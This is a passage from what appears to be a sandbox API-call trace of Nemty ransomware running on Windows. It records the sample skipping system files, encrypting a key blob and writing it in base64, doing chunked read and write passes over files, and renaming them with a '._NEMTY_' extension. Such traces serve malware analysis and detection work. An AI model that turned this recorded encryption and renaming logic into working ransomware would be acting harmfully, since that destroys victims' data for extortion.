(lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0081.284] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0081.284] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0081.284] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0081.284] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0081.284] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0081.284] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0081.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0081.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0081.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0081.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0081.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0081.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0081.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0081.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0081.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0081.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0081.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0081.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0081.285] Sleep (dwMilliseconds=0x5) [0081.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe41961d0, dwHighDateTime=0x1d561e7)) [0081.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe41961d0, dwHighDateTime=0x1d561e7)) [0081.289] GetLastError () returned 0x5 [0081.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.289] GetLastError () returned 0x5 [0081.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0081.290] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0081.290] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0081.290] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0081.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0081.290] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="z1opnXRR5J1rCnYHfmHBqi4+ynjQhcIAxpp6pfGnLcFvIkG1mPmh3oFcqV/tGE9X\r\nyrnEEBHvnme+h6kgLVJ5JqGepjMKAjsyDdLQNmE12ftR5+4vnbZOZcFBuDkiczjE\r\nDs2dsFAH8X7jDI47eVlhefXKv0n9STvbo8Waapn00nzAVAY3zaPGc9ZVXGLh6Ey5\r\n/CFuK7jP+i8V5QeDIArNMsbdxVvqTfwFnc87jcjBeHQHXj5VZJxDFvrbnRW1o6uV\r\n1C5XgHAKl2MjSIbrzsrL4qZkG/H+n15aln31d/3cqSesG469PPbEjMyfk8YLMMZj\r\nazz5xrwITUO6IgY4K9gEAg==\r\n", pcchString=0x653e91c) returned 1 [0081.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0081.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0081.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0081.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0081.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0081.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0081.290] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.290] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0081.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0081.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.375] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.385] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.385] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.391] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0081.397] CloseHandle (hObject=0xffffffff) returned 0 [0081.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0081.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0081.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0081.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0081.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0081.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0081.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0081.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0081.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0081.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0081.397] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0081.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0081.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0081.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0081.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0081.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0081.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0081.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.398] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0081.398] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0081.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0081.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0081.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0081.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 